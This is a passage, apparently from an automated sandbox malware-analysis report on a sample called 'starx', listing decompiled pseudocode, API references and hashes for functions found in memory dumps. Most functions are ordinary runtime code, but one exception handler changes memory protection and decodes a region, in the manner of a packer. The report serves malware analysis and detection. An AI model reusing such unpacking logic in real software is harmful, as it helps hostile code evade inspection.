				if(_t3 != 0xffffffff) {
					return _t3;
				} else {
					return GetSystemMetrics(_t8);
				}
			}

0x004247fc
0x00424806
0x0042481a
0x00424820
0x00000000
0x00424820
0x00424828
0x00424830
0x00424830
0x00424833
0x00424847
0x00424835
0x00424835
0x0042484b
0x00424837
0x00424837
0x00424837
0x00424838
0x0042484f
0x0042483a
0x0042483b
0x0042483e
0x00424840
0x00424840
0x0042483e
0x00424838
0x00424835
0x00424854
0x00424857
0x00424861
0x00424859
0x00000000
0x0042485a

APIs

GetSystemMetrics.USER32 ref: 0042485A

Part of subcall function 00424710: GetProcAddress.KERNEL32(759B0000,00000000), ref: 00424790

KiUserCallbackDispatcher.NTDLL ref: 00424820

Strings

GetSystemMetrics, xrefs: 00424808

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: AddressCallbackDispatcherMetricsProcSystemUser
String ID: GetSystemMetrics
API String ID: 54681038-96882338
Opcode ID: d44768d7df12d292b8da23707cf7a7fac7825af43c506516f98047a4a8e9591b
Instruction ID: 38b773c8bff4a9e9f238ed7ad97d46a81539529f0f9c01aa33d7051beb55a24d
Opcode Fuzzy Hash: d44768d7df12d292b8da23707cf7a7fac7825af43c506516f98047a4a8e9591b
Instruction Fuzzy Hash: 0FF062B87341A45ACB506734BDC43263545E7C6370FD14F3BA73A566E5C63C9889821D

Uniqueness

Uniqueness Score: -1.00%

Function 0040BE28, Relevance: 4.6, APIs: 3, Instructions: 77
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E0040BE28(void* __eax, void* __ebx) {
				intOrPtr _v8;
				char _v12;
				char _v16;
				intOrPtr _v20;
				char _v24;
				char _v28;
				void* _t27;
				void* _t37;
				intOrPtr _t43;
				void* _t48;
				intOrPtr _t55;
				intOrPtr _t56;
				void* _t58;
				void* _t59;
				intOrPtr _t60;

				_t58 = _t59;
				_t60 = _t59 + 0xffffffe8;
				_v12 = 0;
				_push(_t58);
				_push(0x40befe);
				_push( *[fs:eax]);
				 *[fs:eax] = _t60;
				_v8 = 0xffffffff;
				E00404058( &_v12, __eax);
				E004044D0( &_v12);
				_push( &_v16);
				_t27 = E00404480(_v12);
				_push(_t27); // executed
				L00406234(); // executed
				_t48 = _t27;
				if(_t48 == 0) {
					_pop(_t55);
					 *[fs:eax] = _t55;
					_push(E0040BF05);
					return E00403FC0( &_v12);
				} else {
					_v20 = E004026D4(_t48);
					_push(_t58);
					_push(0x40bee1);
					_push( *[fs:eax]);
					 *[fs:eax] = _t60;
					_push(_v20);
					_push(_t48);
					_push(_v16);
					_t37 = E00404480(_v12);
					_push(_t37); // executed
					L0040622C(); // executed
					if(_t37 != 0) {
						_push( &_v28);
						_push( &_v24);
						_push(E0040BF10);
						_t43 = _v20;
						_push(_t43);
						L0040623C();
						if(_t43 != 0) {
							_v8 =  *((intOrPtr*)(_v24 + 8));
						}
					}
					_pop(_t56);
					 *[fs:eax] = _t56;
					_push(0x40bee8);
					return E004026F4(_v20);
				}
			}

0x0040be29
0x0040be2b
0x0040be31
0x0040be38
0x0040be39
0x0040be3e
0x0040be41
0x0040be44
0x0040be50
0x0040be58
0x0040be60
0x0040be64
0x0040be69
0x0040be6a
0x0040be6f
0x0040be73
0x0040beea
0x0040beed
0x0040bef0
0x0040befd
0x0040be75
0x0040be7c
0x0040be81
0x0040be82
0x0040be87
0x0040be8a
0x0040be90
0x0040be91
0x0040be95
0x0040be99
0x0040be9e
0x0040be9f
0x0040bea6
0x0040beab
0x0040beaf
0x0040beb0
0x0040beb5
0x0040beb8
0x0040beb9
0x0040bec0
0x0040bec8
0x0040bec8
0x0040bec0
0x0040becd
0x0040bed0
0x0040bed3
0x0040bee0
0x0040bee0

APIs

744C14E0.VERSION(00000000,?,00000000,0040BEFE), ref: 0040BE6A
744C14C0.VERSION(00000000,?,00000000,?,00000000,0040BEE1,?,00000000,?,00000000,0040BEFE), ref: 0040BE9F
744C1500.VERSION(?,0040BF10,?,?,00000000,?,00000000,?,00000000,0040BEE1,?,00000000,?,00000000,0040BEFE), ref: 0040BEB9

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: C1500
String ID:
API String ID: 1255762788-0
Opcode ID: a57d3e3cec5a3b05ece89f51dd111db76cfdd111180582d728ad9d10f283926c
Instruction ID: 888d6943d39ddcf85ec095760519fefec90285f949770879e8830102ccc74c65
Opcode Fuzzy Hash: a57d3e3cec5a3b05ece89f51dd111db76cfdd111180582d728ad9d10f283926c
Instruction Fuzzy Hash: 50214471A10609AFDB01EFA5CC819AFB7FCEB48714B51487AB510F36D1DB389901CA58

Uniqueness

Uniqueness Score: -1.00%

Function 0040BE26, Relevance: 4.6, APIs: 3, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E0040BE26(void* __eax, void* __ebx) {
				intOrPtr _v8;
				char _v12;
				char _v16;
				intOrPtr _v20;
				char _v24;
				char _v28;
				void* _t27;
				void* _t37;
				intOrPtr _t43;
				void* _t48;
				intOrPtr _t55;
				intOrPtr _t56;
				void* _t58;
				void* _t59;
				intOrPtr _t60;

				_t58 = _t59;
				_t60 = _t59 + 0xffffffe8;
				_v12 = 0;
				_push(_t58);
				_push(0x40befe);
				_push( *[fs:eax]);
				 *[fs:eax] = _t60;
				_v8 = 0xffffffff;
				E00404058( &_v12, __eax);
				E004044D0( &_v12);
				_push( &_v16);
				_t27 = E00404480(_v12);
				_push(_t27); // executed
				L00406234(); // executed
				_t48 = _t27;
				if(_t48 == 0) {
					_pop(_t55);
					 *[fs:eax] = _t55;
					_push(E0040BF05);
					return E00403FC0( &_v12);
				} else {
					_v20 = E004026D4(_t48);
					_push(_t58);
					_push(0x40bee1);
					_push( *[fs:eax]);
					 *[fs:eax] = _t60;
					_push(_v20);
					_push(_t48);
					_push(_v16);
					_t37 = E00404480(_v12);
					_push(_t37); // executed
					L0040622C(); // executed
					if(_t37 != 0) {
						_push( &_v28);
						_push( &_v24);
						_push(E0040BF10);
						_t43 = _v20;
						_push(_t43);
						L0040623C();
						if(_t43 != 0) {
							_v8 =  *((intOrPtr*)(_v24 + 8));
						}
					}
					_pop(_t56);
					 *[fs:eax] = _t56;
					_push(0x40bee8);
					return E004026F4(_v20);
				}
			}

APIs

744C14E0.VERSION(00000000,?,00000000,0040BEFE), ref: 0040BE6A
744C14C0.VERSION(00000000,?,00000000,?,00000000,0040BEE1,?,00000000,?,00000000,0040BEFE), ref: 0040BE9F
744C1500.VERSION(?,0040BF10,?,?,00000000,?,00000000,?,00000000,0040BEE1,?,00000000,?,00000000,0040BEFE), ref: 0040BEB9

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: C1500
String ID:
API String ID: 1255762788-0
Opcode ID: 2126fcbe70d17e2f5bfb15c4723dbf8618ba8291cfb9df90ed8c40554ae8dd41
Instruction ID: 24b7fe3240d69073e63be297f142739a15d5af9f3514deeb47888366a450a90a
Opcode Fuzzy Hash: 2126fcbe70d17e2f5bfb15c4723dbf8618ba8291cfb9df90ed8c40554ae8dd41
Instruction Fuzzy Hash: AB215471A00209AFCB01EFA5CC819AFB7FCEB48314B51487AB610F32D1D7389D01C658

Uniqueness

Uniqueness Score: -1.00%

Function 00402100, Relevance: 3.1, APIs: 2, Instructions: 124COMMON

Download Yara Rule

APIs

Part of subcall function 00401A14: RtlInitializeCriticalSection.KERNEL32(0047F5C8,00000000,00401ACA,?,?,004022AE,0233264C,?,00000000,?,?,00401C9D,00401CB2,00401E03), ref: 00401A2A
Part of subcall function 00401A14: RtlEnterCriticalSection.KERNEL32(0047F5C8,0047F5C8,00000000,00401ACA,?,?,004022AE,0233264C,?,00000000,?,?,00401C9D,00401CB2,00401E03), ref: 00401A3D
Part of subcall function 00401A14: LocalAlloc.KERNEL32(00000000,00000FF8,0047F5C8,00000000,00401ACA,?,?,004022AE,0233264C,?,00000000,?,?,00401C9D,00401CB2,00401E03), ref: 00401A67
Part of subcall function 00401A14: RtlLeaveCriticalSection.KERNEL32(0047F5C8,00401AD1,00000000,00401ACA,?,?,004022AE,0233264C,?,00000000,?,?,00401C9D,00401CB2,00401E03), ref: 00401AC4

RtlEnterCriticalSection.KERNEL32(0047F5C8,00000000,0040227C), ref: 0040214B
RtlLeaveCriticalSection.KERNEL32(0047F5C8,00402283), ref: 00402276

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocInitializeLocal
String ID:
API String ID: 2227675388-0
Opcode ID: c04ef9d77004749e24115337e9df7d71c394ff2d24958fe74c612c215df17138
Instruction ID: 14bbebf7f932d5a6ee58250cf7762844a3620636d061d5ef8f094f37273d4daf
Opcode Fuzzy Hash: c04ef9d77004749e24115337e9df7d71c394ff2d24958fe74c612c215df17138
Instruction Fuzzy Hash: AF41F6B1A00301AFD714DF68ED8562977A1FB49314B1441BFD509E77E1E3789886CB4C

Uniqueness

Uniqueness Score: -1.00%

Function 00463C34, Relevance: 3.1, APIs: 2, Instructions: 56
serviceCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E00463C34(void* __eax, void* __ebx, void* __ecx, void* __edx, void* __esi, void* __eflags) {
				char _v8;
				void* _t36;
				intOrPtr _t45;
				void* _t50;
				intOrPtr _t53;

				_push(0);
				_t36 = __eax;
				_push(_t53);
				_push(0x463cd0);
				_push( *[fs:eax]);
				 *[fs:eax] = _t53;
				E00463CE8(__eax);
				E0040854C(__edx,  &_v8);
				E00404014(_t36 + 0x30, _v8);
				_t49 = E004045C4(0x463ce4,  *((intOrPtr*)(_t36 + 0x30)));
				if(_t21 != 0) {
					E00404520(_t36 + 0x30, E00404280( *((intOrPtr*)(_t36 + 0x30))), _t49);
				}
				_t50 = DdeCreateStringHandleA( *(_t36 + 0x44), E00404480( *((intOrPtr*)(_t36 + 0x30))), 0x3ec);
				 *(_t36 + 0x34) = _t50;
				DdeNameService( *(_t36 + 0x44), _t50, 0, 1); // executed
				_pop(_t45);
				 *[fs:eax] = _t45;
				_push(0x463cd7);
				return E00403FC0( &_v8);
			}

0x00463c37
0x00463c3d
0x00463c41
0x00463c42
0x00463c47
0x00463c4a
0x00463c4f
0x00463c59
0x00463c64
0x00463c76
0x00463c7a
0x00463c8b
0x00463c8b
0x00463ca7
0x00463ca9
0x00463cb5
0x00463cbc
0x00463cbf
0x00463cc2
0x00463ccf

APIs

Part of subcall function 00463CE8: DdeNameService.USER32 ref: 00463CFB
Part of subcall function 00463CE8: DdeFreeStringHandle.USER32 ref: 00463D08

DdeCreateStringHandleA.USER32 ref: 00463CA2
DdeNameService.USER32 ref: 00463CB5

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: HandleNameServiceString$CreateFree
String ID:
API String ID: 3476295772-0
Opcode ID: 34373a289d9187a724496babe1bc68e862dfc01ee2c167d8135cb84f978b977e
Instruction ID: 60ccd168b88c4adf4c236b060a5f40a0ab36b8f2e46e038f302022336fda0621
Opcode Fuzzy Hash: 34373a289d9187a724496babe1bc68e862dfc01ee2c167d8135cb84f978b977e
Instruction Fuzzy Hash: D71186717112506BCB11EF65CD82A0E379CEF44B04B5105BBFE00AB286E678EE008699

Uniqueness

Uniqueness Score: -1.00%

Function 0045A570, Relevance: 3.0, APIs: 2, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0045A570(void* __eax) {
				struct HICON__* _t5;
				void* _t7;
				void* _t8;
				struct HINSTANCE__* _t11;
				CHAR** _t12;
				void* _t13;

				_t13 = __eax;
				 *((intOrPtr*)(_t13 + 0x60)) = LoadCursorA(0, 0x7f00);
				_t8 = 0xffffffea;
				_t12 = 0x467e20;
				do {
					if(_t8 < 0xffffffef || _t8 > 0xfffffff4) {
						if(_t8 != 0xffffffeb) {
							_t11 = 0;
						} else {
							goto L4;
						}
					} else {
						L4:
						_t11 =  *0x47f664; // 0x400000
					}
					_t5 = LoadCursorA(_t11,  *_t12); // executed
					_t7 = E0045A628(_t13, _t5, _t8);
					_t8 = _t8 + 1;
					_t12 =  &(_t12[1]);
				} while (_t8 != 0xffffffff);
				return _t7;
			}

0x0045a574
0x0045a582
0x0045a585
0x0045a58a
0x0045a58f
0x0045a592
0x0045a59c
0x0045a5a6
0x00000000
0x00000000
0x00000000
0x0045a59e
0x0045a59e
0x0045a59e
0x0045a59e
0x0045a5ac
0x0045a5b7
0x0045a5bc
0x0045a5bd
0x0045a5c0
0x0045a5c9

APIs

LoadCursorA.USER32 ref: 0045A57D
LoadCursorA.USER32 ref: 0045A5AC

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: CursorLoad
String ID:
API String ID: 3238433803-0
Opcode ID: 5c64d7a7012a9c9d5e5b4f17967def2a3a66dcb9a83e1e3c0d34b89d44ec1698
Instruction ID: bab84b802eaa4aaceeace195416837748c3199ac30669a9b3c63b1e6058f5a74
Opcode Fuzzy Hash: 5c64d7a7012a9c9d5e5b4f17967def2a3a66dcb9a83e1e3c0d34b89d44ec1698
Instruction Fuzzy Hash: D1F08251B442082B9610563E4CC1D3A72889BC533AB21033BFD3EC72E2E62A5C59816A

Uniqueness

Uniqueness Score: -1.00%

Function 00465F84, Relevance: 3.0, APIs: 2, Instructions: 20
threadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00465F84() {
				void _v8;
				long _v12;
				void* _t5;

				_t5 = CreateThread(0, 0, E00465ED0,  &_v8, 0,  &_v12); // executed
				return WaitForSingleObjectEx(_t5, 0xffffffff, 0);
			}

0x00465f9d
0x00465faf

APIs

CreateThread.KERNEL32 ref: 00465F9D
WaitForSingleObjectEx.KERNEL32(00000000,000000FF,00000000,00000000,00000000,?,?,00000000,?), ref: 00465FA7

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: CreateObjectSingleThreadWait
String ID:
API String ID: 1891408510-0
Opcode ID: f29152ec0466ccc8095e719228f6f6cb6e6854ab437e0dad0bbba6dc1f6bc2d0
Instruction ID: 49da4a39ff2ad1e755e239d411931c772a70207ab004d3b41f266a593afe7ca2
Opcode Fuzzy Hash: f29152ec0466ccc8095e719228f6f6cb6e6854ab437e0dad0bbba6dc1f6bc2d0
Instruction Fuzzy Hash: 53D09E7169C70879F910A1D55C43F9B735C8700B34F700367B634B51D1FAA67610956D

Uniqueness

Uniqueness Score: -1.00%

Function 0040152C, Relevance: 2.5, APIs: 2, Instructions: 37
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040152C(void* __eax, void** __edx) {
				void* _t3;
				void** _t8;
				void* _t11;
				long _t14;

				_t8 = __edx;
				if(__eax >= 0x100000) {
					_t14 = __eax + 0x0000ffff & 0xffff0000;
				} else {
					_t14 = 0x100000;
				}
				_t8[1] = _t14;
				_t3 = VirtualAlloc(0, _t14, 0x2000, 1); // executed
				_t11 = _t3;
				 *_t8 = _t11;
				if(_t11 != 0) {
					_t3 = E004013E0(0x47f5e8, _t8);
					if(_t3 == 0) {
						VirtualFree( *_t8, 0, 0x8000);
						 *_t8 = 0;
						return 0;
					}
				}
				return _t3;
			}

0x0040152f
0x00401539
0x00401548
0x0040153b
0x0040153b
0x0040153b
0x0040154e
0x0040155b
0x00401560
0x00401562
0x00401566
0x0040156f
0x00401576
0x00401582
0x00401589
0x00000000
0x00401589
0x00401576
0x0040158e

APIs

VirtualAlloc.KERNEL32(00000000,?,00002000,00000001,?,?,?,00401835), ref: 0040155B
VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,?,00002000,00000001,?,?,?,00401835), ref: 00401582

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 54b318c6e1d7811b472b30fa702beaa8e419fcd9fe882b3e51caef8889bb287a
Instruction ID: 0e9e39da4648d0516a114496296510f3e61e59cc41635048fee3da11e0087590
Opcode Fuzzy Hash: 54b318c6e1d7811b472b30fa702beaa8e419fcd9fe882b3e51caef8889bb287a
Instruction Fuzzy Hash: EBF0E272B0063027EB205A6A4C82B425594AB85B94F144076FE0DFF3D9D2B98C0142A8

Uniqueness

Uniqueness Score: -1.00%

Function 00465DA4, Relevance: 1.6, APIs: 1, Instructions: 51
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00465DA4(intOrPtr* _a4) {
				long _v8;
				void* __ebx;
				void* __ecx;
				void* __esi;
				signed int _t19;
				signed int _t26;
				intOrPtr* _t28;

				_t28 = _a4;
				_t35 =  *((intOrPtr*)( *_t28));
				if( *((intOrPtr*)( *_t28)) != 0x80000001) {
					if(E00465D98(_t35) == 0) {
						return 0;
					}
					 *((intOrPtr*)( *(_t28 + 4) + 0xb8)) = E00465CEC;
					return E00465CEC | 0xffffffff;
				}
				_t19 =  *(_t28 + 4);
				if(( *(_t19 + 0xb0) ^ 0x00002146) != 0x98636) {
					return 0;
				}
				VirtualProtect( *(_t19 + 0xa0), 0xf9b9, 4,  &_v8); // executed
				E00465D3C(0xf9b9, _t28, 0x468498,  *((intOrPtr*)( *(_t28 + 4) + 0xa0)), _t35, 0x15f26);
				_t26 =  *(_t28 + 4);
				_t9 = _t26 + 0xb8;
				 *_t9 =  *((intOrPtr*)(_t26 + 0xb8)) + 0x3764;
				if( *_t9 < 0) {
					_t26 = E004031B0();
				}
				return _t26 | 0xffffffff;
			}

0x00465daa
0x00465daf
0x00465db7
0x00465e2a
0x00000000
0x00465e3f
0x00465e34
0x00000000
0x00465e3a
0x00465db9
0x00465dce
0x00000000
0x00465e1d
0x00465de2
0x00465dff
0x00465e04
0x00465e07
0x00465e07
0x00465e11
0x00465e13
0x00465e13
0x00000000

APIs

VirtualProtect.KERNEL32(?,0000F9B9,00000004,?), ref: 00465DE2

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: b2e37e2cdae1acd6db911599cb0347bf4cc711631bc07a6ce28f9182056ec63b
Instruction ID: 285cb5d93a2bfb0abcdf978273c4ad74f3d43f3c792a5541e0428f49886b7de7
Opcode Fuzzy Hash: b2e37e2cdae1acd6db911599cb0347bf4cc711631bc07a6ce28f9182056ec63b
Instruction Fuzzy Hash: 1E11C4312046009FDF10DBA8D980E667399EF45324F1486B7FA048F396E739DD01976B

Uniqueness

Uniqueness Score: -1.00%

Function 00406A16, Relevance: 1.5, APIs: 1, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E00406A16(long __eax, CHAR* __edx, void* _a4, struct HINSTANCE__* _a8, struct HMENU__* _a12, struct HWND__* _a16, int _a20, int _a24, int _a28, int _a32, long _a36) {
				CHAR* _v8;
				void* _t13;
				struct HWND__* _t24;
				CHAR* _t31;
				long _t38;

				_push(_t31);
				_v8 = _t31;
				_t38 = __eax;
				_t13 = E00402A6C();
				_t24 = CreateWindowExA(_t38, __edx, _v8, _a36, _a32, _a28, _a24, _a20, _a16, _a12, _a8, _a4); // executed
				E00402A5C(_t13);
				return _t24;
			}

0x00406a1b
0x00406a1f
0x00406a24
0x00406a26
0x00406a57
0x00406a60
0x00406a6c

APIs

CreateWindowExA.USER32 ref: 00406A57

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 2a296a2abf2dda4993fabea86811204c067681cd1f174a4920d38931abf2056e
Instruction ID: d82901a237bffc43d778b5f1396806c94b024f692dbb18c60e88a82e0bd4aa08
Opcode Fuzzy Hash: 2a296a2abf2dda4993fabea86811204c067681cd1f174a4920d38931abf2056e
Instruction Fuzzy Hash: 50F0E2B2300118BF8B80DE9DDC85EDB77ECEB4C264B01412AFA0CE3200D634ED108BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00406A18, Relevance: 1.5, APIs: 1, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406A18(long __eax, CHAR* __edx, void* _a4, struct HINSTANCE__* _a8, struct HMENU__* _a12, struct HWND__* _a16, int _a20, int _a24, int _a28, int _a32, long _a36) {
				CHAR* _v8;
				void* _t13;
				struct HWND__* _t24;
				CHAR* _t29;
				long _t32;

				_v8 = _t29;
				_t32 = __eax;
				_t13 = E00402A6C();
				_t24 = CreateWindowExA(_t32, __edx, _v8, _a36, _a32, _a28, _a24, _a20, _a16, _a12, _a8, _a4); // executed
				E00402A5C(_t13);
				return _t24;
			}

0x00406a1f
0x00406a24
0x00406a26
0x00406a57
0x00406a60
0x00406a6c

APIs

CreateWindowExA.USER32 ref: 00406A57

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: a706df2d3c637418051825cd307c498e821907e43199fcad603351123b6e73c8
Instruction ID: 33bd1a4f87237eb14c29388ac1d828f7486c3fc414e45ae2752cdf50fb874413
Opcode Fuzzy Hash: a706df2d3c637418051825cd307c498e821907e43199fcad603351123b6e73c8
Instruction Fuzzy Hash: D1F092B2700118BF8B90DE9DDD85EDB77ECEB4D264B05412AFA0CE7241D674ED118BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00406A70, Relevance: 1.5, APIs: 1, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406A70(CHAR* __eax, CHAR* __edx, void* _a4, struct HINSTANCE__* _a8, struct HMENU__* _a12, struct HWND__* _a16, int _a20, int _a24, int _a28, int _a32) {
				long _v8;
				void* _t12;
				struct HWND__* _t22;
				long _t27;
				CHAR* _t30;

				_v8 = _t27;
				_t30 = __eax;
				_t12 = E00402A6C();
				_t22 = CreateWindowExA(0, _t30, __edx, _v8, _a32, _a28, _a24, _a20, _a16, _a12, _a8, _a4); // executed
				E00402A5C(_t12);
				return _t22;
			}

0x00406a77
0x00406a7c
0x00406a7e
0x00406aad
0x00406ab6
0x00406ac2

APIs

CreateWindowExA.USER32 ref: 00406AAD

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 64efd6492beafce408ebd1e12ef09c4aa4438846ff4309d9c226592167cb3934
